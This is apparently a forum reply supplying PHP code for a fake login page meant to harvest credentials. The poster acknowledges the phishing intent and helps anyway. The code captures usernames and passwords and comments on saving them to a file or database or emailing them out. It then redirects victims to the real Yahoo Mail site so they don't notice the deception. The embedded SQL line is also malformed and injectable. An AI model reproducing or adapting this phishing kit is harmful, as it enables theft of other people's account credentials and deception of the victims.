I know u want to use this for creating a fake login page but still i m going to help. I knw this is not right place for such things, leave it yaar U below is just a sample code for u in php
index.php or any login page
PHP Code:
<form action="getdata.php" method="post" autocomplete="OFF">
username:<input type="text" name="username" size=50><br>
password:<input type="password" name="pass" size=50 maxlength=30>
</form>
getdata.php
PHP Code:
<?php
$usrname=$_POST["username"];
$pass=$_POST["pass"];
// now use these data as u want u want to use them. Store this data
// either in text file or u can send them imediately to ur email but that
// will be risky or u can store this data in database
// for file use fopen(filename,fileaccessmethod)
// for email use mail function i dont know the actuall prototype but u can
// get it from net
// or use mysql_query("INSERT INTO TABLENAME values $usrname, $pass");
//move to actuall page so user think that this page was not a fake page
//a ignore this as a error
header("location: http://www.yahoomail.com");
?>